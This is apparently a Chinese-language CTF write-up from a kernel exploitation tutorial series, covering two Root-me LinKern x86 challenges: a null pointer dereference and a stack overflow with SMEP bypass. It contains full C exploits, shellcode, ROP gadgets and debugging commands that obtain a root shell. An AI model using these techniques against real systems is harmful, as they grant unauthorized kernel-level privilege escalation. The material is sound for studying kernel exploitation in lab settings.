0x05 以[Root-me]LinKern x86 – Null pointer dereference为例
🏅:本题考查点 – Null pointer dereference in Kernel
本漏洞的相关说明已在Kernel Pwn 学习之路(一)中说明,此处不再赘述。
Init 文件分析
内核仍未开启任何保护。
LKMs 文件分析
仅开启了NX保护。
题目逻辑分析
tostring_write
函数首先打印"Tostring: write()n"
,然后调用kmalloc
分配一个Chunk。
kmalloc
函数用于在内核中分配Chunk
,它有两个参数,第一个参数是Size
,第二个参数称为flag
,通过其以几个方式控制kmalloc
的行为。由于
kmalloc
函数可以最终通过调用__get_free_pages
来进行,因此,这些flag
通常带有GFP_
前缀。最通常使用的标志是
GFP_KERNEL
, 这意味着此次分配是由运行在内核空间的进程进行的。换言之, 这意味着调用函数的是一个进程在尝试执行一个系统调用。使用
GFP_KENRL
将意味着kmalloc
能够使当前进程在内存不足的情况下执行睡眠操作来等待一页. 一个使用GFP_KERNEL
来分配内存的函数必须是可重入的并且不能在原子上下文中运行. 若当前进程睡眠, 内核将采取正确的动作来定位一些空闲内存, 或者通过刷新缓存到磁盘或者交换出去一个用户进程的内存。
GFP_KERNEL
不一定是正确分配标志; 有时kmalloc
从一个进程的上下文的外部进行调用。这类的调用可能发生在中断处理, tasklet, 和内核定时器中. 在这个情况下, 当前进程不应当被置为睡眠, 并且驱动应当使用一个GFP_ATOMIC
标志来代替GFP_KERNEL
。此时,内核将正常地试图保持一些空闲页以便来满足原子分配。当使用
GFP_ATOMIC
时,kmalloc
甚至能够使用最后一个空闲页。如果最后一个空闲页也不存在将会导致分配失败。除此之外,还有如下的标志可供我们选择(更完整的标志列表请查阅
linux/gfp.h
):
GFP_USER
– 由用户态的程序来分配内存,可以使用睡眠等待机制。
GFP_HIGHUSER
– 从高地址分配内存。
GFP_NOIO
– 分配内存时禁止使用任何I/O操作。
GFP_NOFS
– 分配内存时禁止调用fs寄存器。
GFP_NOWAIT
– 立即分配,不做等待。
__GFP_THISNODE
– 仅从本地节点分配内存。
GFP_DMA
– 进行适用于DMA
的分配,这应该仅应用于kmalloc
缓存,否则请使用SLAB_DMA
创建的slab
。
此处程序使用的是GFP_DMA
标志。
在那之后,程序将用户传入的数据向该Chunk
写入length
个字节,并将末尾置零。
然后程序验证我们传入数据的前十个字节是否为*
,若是,程序会从第十一字节开始逐字节进行扫描,根据不同的’命令’执行不同的操作。
在那之后程序会从第十一字节开始间隔一个x00
或n
字节进行扫描,根据不同的’命令’执行不同的操作。
H : 将tostring->tostring_read这个函数指针置为tostring_read_hexa。
D : 将tostring->tostring_read这个函数指针置为tostring_read_dec。
S : 将tostring结构体清除,所有的成员变量置为NULL或0,释放tostring->tostring_stack指向的chunk。
N : 首先调用local_strtoul(bufk+i+11,NULL,10),若此时tostring->tostring_stack为NULL,则执行tostring结构体的初始化,将local_strtoul(bufk+i+11,NULL,10)的返回值乘1024作为size调用kmalloc函数将返回地址作为tostring->tostring_stack所指向的值,同时设置pointer_max这个成员变量的值为size/sizeof(long long int),设置tostring->tostring_read这个函数指针为tostring_read_hexa。
否则,程序将会在tostring->tostring_stack
中插入后续的值。
tostring_read
程序将直接调用tostring->tostring_read这个函数指针
题目漏洞分析
程序在调用tostring->tostring_read这个函数指针时没有做指针有效性验证,这将导致程序试图调用一个空指针,而在此版本的Kernel中,程序已经关闭了mmap_min_addr
的保护,这将导致我们可以mmap
一个0地址处的内存映射,若我们能在0地址处写入shellcode,程序将会在调用空指针时调用此位置的shellcode,于是可以直接提权。
我们的目标是调用commit_creds(prepare_kernel_cred(0))
,那么我们的shellcode就可以是:
xor eax,eax;
call commit_creds;
call prepare_kernel_cred;
ret;
其中commit_creds
和prepare_kernel_cred
函数的地址可以在/proc/kallsyms
中定位到。
可以使用Radare2
生成shellcode
:
rasm2 "xor eax,eax ; call 0xC10711F0 ; call 0xC1070E80 ; ret;"
动态调试验证
首先QEMU
的启动指令为:
qemu-system-i386 -s
-kernel bzImage
-append nokaslr
-initrd initramfs.img
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/Null_pointer_dereference/Share
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme
然后在QEMU
使用以下命令确定相关Section
的地址:
lsmod
grep 0 /sys/module/[module_name]/sections/.text
grep 0 /sys/module/[module_name]/sections/.data
grep 0 /sys/module/[module_name]/sections/.bss
# 0xC8824000
# 0xC88247E0
# 0xC8824A80
在IDA和GDB中进行设置:
⚠️:在IDA设置后会导致反编译结果出错,请谨慎设置!
# code in gdb
add-symbol-file tostring.ko 0xC8824000 -s .data 0xC88247E0 -s .bss 0xC8824A80
首先验证我们分析的逻辑是正确的。
我们构建如下PoC发送:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
int main(void){
int fd = open("/dev/tostring",2);
write(fd,"**********H",11);
write(fd,"**********D",11);
write(fd,"**********S",11);
write(fd,"**********N",11);
write(fd,"AAAABBBB",9);
return 0;
}
//gcc -m32 -static -o Exploit Exploit.c
预期情况下,程序应当依次执行H、D、S、N四个命令,并在最后写入”AAAABBBB”。
发现逻辑正确,那么我们尝试劫持EIP,发送以下PoC:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
char payload[] = "xe9xeaxbexadx0b"; // jmp 0xbadbeef
int main(void){
char Get_shell[20] ;
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/dev/tostring",2);
write(fd,"**********S",11);
read(fd,Get_shell,sizeof(Get_shell));
return 0;
}
//gcc -m32 -static -o Exploit Exploit.c
成功劫持,那么我们只需要替换掉Shellcode即可完成提权。
Final Exploit
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
char payload[] = "x31xc0xe8xe9x11x07xc1xe8x74x0ex07xc1xc3";
int main(void){
char Get_shell[20] ;
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/dev/tostring",2);
write(fd,"**********S",11);
read(fd,Get_shell,sizeof(Get_shell));
system("/bin/sh");
return 0;
}
//gcc -m32 -static -o Exploit Exploit.c
0x06 以[Root-me]LinKern x86 – basic ROP为例
🏅:本题考查点 – ROP in Kernel、Bypass SMEP
调试信息
QEMU
启动指令:
qemu-system-i386 -s
-kernel bzImage
-append nokaslr
-initrd initramfs.img
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/basic_ROP/Share
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme
-cpu kvm64,+smep
几个重要的地址:
.text : 0xC8824000
.data : 0xC88241A0
.bss : 0xC8824440
# code in gdb
add-symbol-file tostring.ko 0xC8824000 -s .data 0xC88241A0 -s .bss 0xC8824440
Init 文件分析
还是正常加载LKMs,但是这次没有关闭mmap_min_addr
防护。
根据题目说明,本次内核启动了SMEP
保护,这将导致当程序进入Ring 0
的内核态时,不得执行用户空间的代码。
⭕️:检测smep
是否开启可以使用以下命令:
LKMs文件分析
和往常一样,用户态仅开启了NX保护。
题目逻辑分析&漏洞分析
本次题目逻辑很简单,就是一个简单的读入操作,当我们向内核发送数据时有一个很明显的栈溢出会发生。
程序在向buf写入值时并没有做最大size限制,于是我们可以很容易的触发栈溢出。
控制EIP
我们若发送以下PoC,程序应该会断在0xdeadbeef
:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
char Send_data[0x30];
char Padding[0x29] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char Eip[4] = "xEFxBExADxDE";
strcat(Send_data,Padding);
strcat(Send_data,Eip);
int fd = open("/dev/bof",2);
write(fd,Send_data,0x30);
return 0;
}
//gcc -m32 -static -o Exploit Exploit.c
发现符合预期。
那么因为SMEP
的存在我们不能再使用和Buffer overflow basic 1
相同的思路,也就是说,执行完commit_creds(prepare_kernel_cred(0));
后将不被允许继续执行用户态代码。
Bypass SMEP
内核是根据CR4
寄存器的值来判断smep
保护是否开启的,当CR4
寄存器的第20
位是1
时,保护开启;是0
时,保护关闭。以下是CR4
寄存器的各标志位:
那么,如果在内核中存在gadget
能让我们修改CR4
寄存器的值我们就可以手动来关闭SMEP
保护了。
首先我们需要从bzImage
中提取静态编译未经过压缩的kernel
文件,以协助我们找到合适的gadget
。
这里使用extract-vmlinux来提取,使用命令为:./extract-vmlinux bzImage > vmlinux
接下来由于vmlinux
过大,因此建议把分析出的gadget
重定向到文件然后在文件中寻找gadget
而不是直接以标准输出打印,命令为ROPgadget --binary ./vmlinux > gadgets
。
发现程序中有四个mov cr4,eax
的gadget
,同时也有pop eax
的gadget
,于是我们可以利用这两个gadget
控制cr4
寄存器的值为0x6d0
进而关闭SMEP
保护了。
于是我们最终选用的两个gadget
分别为:
0xc10174fc : pop eax ; ret
0xc1045053 : mov cr4, eax ; pop ebp ; ret
于是此时的PoC为:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
char Get_shell[5];
init_tf_work();
*((void**)(Get_shell)) = &payload;
char Payload[0x100] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxFCx74x01xC1xD0x06x00x00x53x50x04xC1x00x00x00x00xEFxBExADxDE";
for(int i = 0,j = 56;i < 4;i++,j++){
Payload[j] = Get_shell[i];
}
int fd = open("/dev/bof",2);
write(fd,Payload,0x100);
return 0;
}
//gcc -m32 -static -o Exploit Exploit.c
可以发现,此时,CR4
寄存器的值已置为0x6D0
Final Exploit
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char Get_shell[5];
init_tf_work();
*((void**)(Get_shell)) = &payload;
char Payload[0x100] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxFCx74x01xC1xD0x06x00x00x53x50x04xC1x00x00x00x00";
for(int i = 0,j = 56;i < 4;i++,j++){
Payload[j] = Get_shell[i];
}
int fd = open("/dev/bof",2);
write(fd,Payload,0x100);
return 0;
}
//gcc -m32 -static -o Exploit Exploit.c
0 条评论